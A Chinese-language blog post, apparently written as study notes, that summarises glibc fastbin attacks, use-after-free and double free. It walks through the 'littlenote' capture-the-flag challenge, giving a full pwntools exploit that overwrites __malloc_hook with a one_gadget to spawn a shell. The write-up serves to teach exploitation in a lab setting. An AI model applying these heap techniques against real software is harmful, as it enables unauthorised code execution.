Fastbin Attack 总结

Author Avatar
iosmosis 11月 29, 2018
  • 在其它设备中阅读本文章

迷途指针、野指针、空指针

迷途指针:也称悬空指针,指的是不指向任何合法的对象的指针,可以指向任何地址,并且对该地址的数值进行修改或删除,可能会造成意想不到的后果
野指针:未被初始化的指针,野指针所导致的错误和迷途指针非常相似,但野指针的问题更容易被发现
空指针:就是一个被赋值为0的指针,它不指向任何的对象或者函数

理解typedef void (*funcptr)(void)

typedef 只对已有的类型进行别名定义,不产生新的类型
#define 只是在预处理过程对代码进行简单的替换

typedef void ( *funcptr)(char *); //定义指针类型

void fun1(char string[]) //定义函数
{
printf("%s",string);
}
int main()
{

    funcptr p1; //定义了一个该类型的指针p1
    p1 = fun1; //p1指向函数一
    p1("hey");
}
__malloc_hook利用

__malloc_hook 附近

64位下在 __malloc_hook - 0x23 + 0x8 处 的值 为 p64(0x7f) 

然后想办法修改 位于 0x70 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x70 的 chunk 就可以修改 __malloc_hook

main_arean->fastbinY 数组

该数组用于存放 指定大小的 fastbin 的表头指针,如果为空则为 p64(0) , 而堆的地址基本 是 0x5x 开头的(其在内存就是 xx xx..... 5x), 此时如果在 main_arean->fastbinY 的 相邻项为 0x0 (相邻大小的 fastbin), 就会出现 5x 00 00 00... , 所以就可以出现 0x000000000000005x ,可以把它作为 fastbin 的 size 进行 fastbin attack ,不过作为 fastbin attack 的 size 不能 为 0x55

于是想办法修改 位于 0x50 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x50 的 chunk 就可以分配到 main_arean, 然后就可以修改 main_arean->top 

std* 结构体

在 std* 类结构体中有很多字段都会被设置为 0x0 , 同时其中的某些字段会有 libc 的地址大多数情况下 libc 是加载在 0x7f.... , 配合着 std* 中的 其他 0x0 的字段,我们就可以有 p64(0x7f) , 然后修改 位于 0x70 的 fastbin 的 chunk 的 fd 为该位置即可
pwndbg> x/20gx stdin

uaf漏洞成因

在free了堆块没有进行指针置null 导致产生迷途指针,由于申请大小小于256kb就先将内存卡标记为空闲状态,如果malloc相同大小的堆块,将可以再次使用该内存地址

简单例子

#include <stdio.h>
#include <string.h>
int main()
{
    char *p1;
    p1 = (char *) malloc(sizeof(char)*20);
    memcpy(p1,"hey",20);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);/
    char *p2;
    p2 = (char *)malloc(sizeof(char)*40);
    memcpy(p1,"hahah",40);
    printf("p2 addr:%x,%s\n",p2,p1);
    return 0;
}

编译

gcc -g uaf.c -o uaf

运行

ios@ios:~$ ./uaf
p1 addr:1b51010,hey
p2 addr:1b51440,hahah

虽然此处存在uaf ,free p1后没有置指针为null ,但是没有申请相同大小还是无法申请使用的同一内存地址

接下来malloc 相同大小

#include <stdio.h>
#include <string.h>
int main()
{
    char *p1;
    p1 = (char *) malloc(sizeof(char)*20);
    memcpy(p1,"hey",20);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);/
    char *p2;
    p2 = (char *)malloc(sizeof(char)*20);
    memcpy(p1,"hahah",20);
    printf("p2 addr:%x,%s\n",p2,p1);
    return 0;
}

编译

gcc -g uaf.c -o uaf

运行

ios@ios:~$ ./uaf
p1 addr:1353010,hey
p2 addr:1353010,hahah

发现成功申请到相同内存地址

简单getshell 利用

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
typedef void (*f_ptr)(char *);
void print(char string[])
{
printf("%s",string);
}
void getshell(char comm[])
{
system(comm);
}
int main()
{

    f_ptr *p1 = (f_ptr*)malloc(sizeof(int)*4); //申请堆块大小
    printf("p1 addr:%p\n",p1);
    p1[1]=print;//使用p1数组指针指向print函数
    p1[1]("hahahah\n");//传参
    free(p1);//free后指针没有置0
    f_ptr *p2 = (f_ptr*)malloc(sizeof(int)*4);//再次申请相同大小堆块
    printf("p2 addr:%p\n",p2);
    p2[1]=getshell;//使用p1数组指针指向getshell函数
    p1[1]("/bin/sh");
    return 0;
}

编译

gcc -g uaf.c -o uaf

运行

ios@ios:~$ ./uaf
p1 addr:0x24a0010
hahahah
p2 addr:0x24a0010
$ ls
Desktop    Downloads         Music     Public     te        test.c  uaf.c
Documents  examples.desktop  Pictures  pwntools  Templates  uaf     Videos
$

Double Free

原理

堆块释放后对指针没有清空 出现迷途指针、导致可以再次释放该堆块

在glibc源码中有这样的处理

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx// 判断大小是否满足 fastbin相应bin的大小要求
Fastbin 在分配 chunk 时,只检查 p->size&0xfffffffffffff000是否满足等于的 fastbin的大小 ,而且不检查指针是否对齐。所以我们只要找到 size 为 fastbin 的范围,然后修改 位于 fastbin 的 chunk 的 fd 到这 ,分配几次以后,就可以分配到这个位置
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

改malloc__hook利用方式

__malloc_hook - 0x23 + 0x8 的 内容为 0x000000000000007f , 可以用来绕过 fastbin 分配的检查

  • Fastbin Attack 开始,分配两次,可以得到 最后一个堆块地址 = __malloc_hook -0x13
  • 再次添加’a’*0x13+onegadget 触发malloc__hook跳转到onegadget地址

例题 铁三littlenote

读源码

int menu()
{
  puts("1. add a note");
  puts("2. show a note");
  puts("3. delete a note");
  puts("4. exit");
  return puts("Your choice:");
}

可以得知该程序主要有三个功能

add

unsigned __int64 addnote()
{
  v4 = __readfsqword(0x28u);
  if ( (unsigned __int64)notenum > 0xF )
    puts("FULL");
  v0 = notenum;
  note[v0] = malloc(0x60uLL);//
  puts("Enter your note");
  read(0, note[notenum], 0x60uLL);
  puts("Want to keep your note?");
  read(0, &buf, 7uLL);
  if ( buf == 78 )
  {
    puts("OK,I will leave a backup note for you");
    free(note[notenum]);
    v1 = notenum;
    note[v1] = malloc(0x20uLL);
  }
  ++notenum;
  puts("Done");
  return __readfsqword(0x28u) ^ v4;
}

可以看到固定分配malloc size为0x60 可以考虑 Fastbin Attack

添加堆块操作

show

unsigned __int64 shownote()
{

  puts("Which note do you want to show?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      puts((const char *)note[v1]);
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

打印当前指针所指堆块中的内容

delete

unsigned __int64 freenote()
{

  puts("Which note do you want to delete?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      free(note[v1]); //漏洞点
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

释放堆块 但是free后 指针没有清空 导致产生迷途指针 可以导致double free 以及uaf 利用

首先调试分析 leak libc_base

from pwn import *

context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(data):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("your note")
    p.send(data)
    p.recvuntil("keep your note?")

def show(idx):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("show?")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("delete?")
    p.sendline(str(idx))

add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
gdb.attach(p)
[+] Waiting for debugger: Done
[DEBUG] Received 0x4f bytes:
    00000000  0a fb a4 6f  89 7f 0a 44  6f 6e 65 0a  31 2e 20 61  │···o│···D│one·│1. a│
    00000010  64 64 20 61  20 6e 6f 74  65 0a 32 2e  20 73 68 6f  │dd a│ not│e·2.│ sho│
    00000020  77 20 61 20  6e 6f 74 65  0a 33 2e 20  64 65 6c 65  │w a │note│·3. │dele│
    00000030  74 65 20 61  20 6e 6f 74  65 0a 34 2e  20 65 78 69  │te a│ not│e·4.│ exi│
    00000040  74 0a 59 6f  75 72 20 63  68 6f 69 63  65 3a 0a     │t·Yo│ur c│hoic│e:·│
    0000004f
0x7f896fa4fb0a

<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

在gdb中查看当前heap情况

pwndbg> heap
0x55da16209000 FASTBIN {
  prev_size = 0, 
  size = 113, 
  fd = 0x7f896fa4fb0a <__realloc_hook+2>,  
  bk = 0x7f896fa4fbd8 <main_arena+184>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55da16209070 FASTBIN {
  prev_size = 112, 
  size = 49, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55da162090a0 PREV_INUSE {
  prev_size = 0, 
  size = 4113, 
  fd = 0xa31 <frame_dummy+17>, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55da1620a0b0 PREV_INUSE {
  prev_size = 0, 
  size = 130897, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg>

看到 leak出的地址为 fd = 0x7f896fa4fb0a <__realloc_hook+2>,

所以我们可以leak出__realloc_hook地址 从而计算得到libc_base 、malloc_hook_addr

__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
print "malloc_addr:"+hex(malloc_addr)

当然要利用double还需要绕过 main_arean是否指向向了原来的一个chunk 这个检查。这个就非常容易了,只需要free(p1);free(p2);free(p1)就可以绕过了

绕过后 fastbin list中会多指向一个我们的fake chunk 此时就可以实现任意地址写入了

onegadget

ios@ios:~$ ldd littlenote
    linux-vdso.so.1 =>  (0x00007ffe0e13f000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fccaf9d7000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fccaffa4000)
ios@ios:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
ios@ios:~$

使用one_gadget 当然还要满足一些其他条件 例如

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

需要满足rsp+0x50位置的值为0 否则无法成功利用 。需要重新寻找其他满足条件的one gadget

fastbin size检查绕过

在__malloc_hook - 0x23+0x8 处有合适的 size 0x7f

pwndbg> x/4gx 0x7fda4f7ccb10
0x7fda4f7ccb10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7fda4f7ccb20 <main_arena>:    0x0000000000000000    0x0000000000000000
pwndbg> x/4gx 0x7fda4f7ccb10-0x23
0x7fda4f7ccaed <_IO_wide_data_0+301>:    0xda4f7cb260000000    0x000000000000007f
0x7fda4f7ccafd:    0xda4f48de20000000    0xda4f48da0000007f
pwndbg> x/4gx 0x7fda4f7ccb10-0x23+0x8
0x7fda4f7ccaf5 <_IO_wide_data_0+309>:    0x000000000000007f    0xda4f48de20000000
0x7fda4f7ccb05 <__memalign_hook+5>:    0xda4f48da0000007f    0x000000000000007f
pwndbg>

所以构造当前可控fd为 __malloc_hook - 0x23即可

pwndbg> fastbin
fastbins
0x20: 0x0
0x30: 0x5614c91bb070 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5614c91bc120 —▸ 0x5614c91bc0b0 —▸ 0x7fda4f7ccaed (_IO_wide_data_0+301) ◂— 0xda4f48de20000000
0x80: 0x0
pwndbg>

可以看到当前fastbin 0x70大小的堆块 两次分配0x70堆块就可以分配到malloc_hook(0x60size+堆头0x10)

此时堆块addr=malloc_hook-0x13

所以再次申请堆块填充’a’*13+one_gadget 即可成功执行malloc hook 返回到one_gadget地址 拿到shell

EXP

from pwn import *

context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(data):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("your note")
    p.send(data)
    p.recvuntil("keep your note?")

def show(idx):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("show?")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("delete?")
    p.sendline(str(idx))

add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
#gdb.attach(p)
p.recvuntil('\n')
__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
ret_malloc = malloc_addr-0x13
print 'ret_malloc_addr:'+hex(ret_malloc)
__memalign_hook = libc.symbols['__memalign_hook']+libc_base
_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']+libc_base
print "malloc_addr:"+hex(malloc_addr)
one_gadget=libc_base+0xf02a4
print hex(one_gadget)
add("aaa")
p.sendline('Y')
add("bbb")
p.sendline('Y')
add("ccc")
p.sendline('Y')

delete(2)
delete(3)
delete(2)

add(p64(malloc_addr-0x23))
print "nnnn:"+hex(malloc_addr-0x23)
gdb.attach(p)
p.sendline('Y')
add("ddd")
p.sendline('Y')
add("eee")
p.sendline('Y')

#gdb.attach(p)
add('a'*0x13+p64(one_gadget))
p.sendline('Y')

delete(0)
p.interactive()

成功拿到shell

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0xbb bytes:
    'core\t   Downloads\t     littlenote  one_gadget  pwntools\ttest.c\tVideos\n'
    'Desktop    examples.desktop  lt.py\t Pictures    te\t\tuaf\n'
    'Documents  libc.so.6\t     Music\t Public      Templates\tuaf.c\n'
core       Downloads         littlenote  one_gadget  pwntools    test.c    Videos
Desktop    examples.desktop  lt.py     Pictures    te        uaf
Documents  libc.so.6         Music     Public      Templates    uaf.c
$

推荐文章